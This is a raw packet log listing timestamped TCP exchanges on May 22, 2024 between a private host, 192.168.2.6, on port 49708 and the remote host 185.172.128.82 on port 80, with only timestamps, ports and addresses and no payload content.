May 22, 2024 20:06:31.066559076 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.066580057 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.066613913 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.066641092 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.066694021 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.066706896 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.066749096 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.066768885 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.066816092 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.066834927 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.066879034 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.066900015 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.066932917 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.067157030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.067203045 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.067225933 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.067251921 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.067281008 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.067332983 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.067346096 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.067387104 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.067408085 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.067456007 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.067471981 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.067516088 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.067538977 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.067564011 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.067593098 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.067643881 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.067657948 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.067697048 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.067723989 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.067770958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.067800045 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.067826033 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.157134056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.157228947 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.157268047 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.157318115 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.157344103 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.157363892 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.157401085 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.157449007 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.157468081 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.157522917 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.157548904 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.157603025 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.157618046 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.157649994 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.157679081 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.157732010 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.157768965 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.157821894 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.157843113 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.157896042 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.157911062 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.157943964 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.157970905 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.158016920 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.158039093 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.158071041 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.158092976 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.158137083 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.160367966 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.160387993 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.160410881 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.160428047 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.160437107 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.160456896 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.160492897 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.160492897 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.160520077 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.160530090 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.160546064 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.160558939 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.160573959 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.160583019 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.160598993 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.160614014 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.160620928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.160635948 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.160644054 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.160660982 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.160666943 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.160686970 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.160693884 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.160710096 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.160717964 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.160737991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.160744905 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.160763025 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.160769939 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.160784960 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.160790920 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.160811901 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.160832882 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.161883116 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.161911011 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.161923885 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.161931992 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.161942005 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.161950111 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.161973953 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.161993027 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.162012100 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.162030935 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.162039042 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.162059069 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.162077904 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.162086964 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.162102938 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.162111044 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.162128925 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.162146091 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.162154913 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.162177086 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.162188053 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.162205935 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.162220955 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.162229061 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.162249088 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.162257910 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.162272930 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.162288904 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.162301064 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.162342072 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.162381887 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.162636042 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.162656069 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.162674904 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.162684917 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.162702084 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.162710905 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.162727118 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.162736893 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.162750959 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.162766933 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.162786961 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.162796021 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.162815094 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.162822008 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.162837029 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.162847996 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.162858009 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.162874937 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.162883997 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.162914038 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.163542986 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.163563967 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.163583994 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.163598061 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.163619995 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.163629055 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.163645983 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.163657904 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.163675070 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.163695097 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.163708925 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.163723946 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.163734913 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.163759947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.163767099 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.163794994 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.163825989 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.164441109 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.164462090 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.164480925 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.164499044 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.164508104 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.164508104 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.164525986 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.164534092 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.164555073 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.164562941 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.164581060 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.164593935 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.164607048 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.164623022 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.164635897 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.164654970 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.164661884 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.164689064 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.164712906 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.165072918 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.165093899 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.165112972 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.165124893 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.165139914 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.165148973 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.165164948 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.165184021 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.165194035 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.165211916 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.165226936 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.165240049 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.165258884 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.165266991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.165287018 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.165296078 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.165313005 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.165322065 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.165338993 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.165354013 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.165364027 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.165388107 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.165410042 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.165965080 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.165983915 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.166006088 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.166013956 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.166029930 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.166038990 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.166054964 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.166064978 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.166080952 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.166090012 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.166105986 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.166116953 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.166126966 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.166143894 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.166157961 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.166167021 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.166188002 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.166193962 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.166213036 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.166219950 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.166234970 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.166244030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.166254044 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.166284084 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.166734934 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.166753054 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.166796923 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.166815042 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.215393066 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.215455055 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.258642912 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.258723021 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.258770943 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.258797884 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.258832932 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.258852959 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.258877039 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.258877993 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.258914948 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.258933067 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.258944988 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.258965969 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.258981943 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.258994102 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259004116 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259022951 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259046078 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259064913 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259079933 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259099007 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259110928 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259139061 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259147882 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259166956 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259182930 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259191990 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259207964 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259217978 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259232998 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259242058 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259260893 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259268045 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259284973 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259298086 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259306908 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259325027 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259341002 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259347916 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259362936 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259372950 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259388924 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259402037 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259413958 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259429932 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259440899 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259458065 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259473085 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259490967 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259499073 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259519100 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259531021 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259547949 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259556055 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259577990 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259596109 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259605885 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259623051 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259629965 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259644985 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259663105 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259670019 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259687901 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259705067 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259717941 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259730101 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259747028 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259761095 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259774923 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.259795904 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.259819031 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.260008097 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.260034084 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.260052919 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.260066986 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.260083914 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.260096073 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.260106087 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.260127068 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.260137081 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.260168076 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.260179996 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.260205030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.260216951 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.260238886 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.260255098 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.260276079 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.260291100 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.260313034 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.260324955 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.260343075 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.260998964 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.261018991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.261040926 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.261058092 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.261065006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.261085987 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.261096001 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.261113882 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.261133909 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.261142015 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.261157036 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.261166096 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.261190891 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.261200905 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.261219025 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.261229038 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.261270046 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.261944056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.261965036 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.261984110 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.261998892 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.262012005 CEST	80	49708	185.172.128.82	192.168.2.6
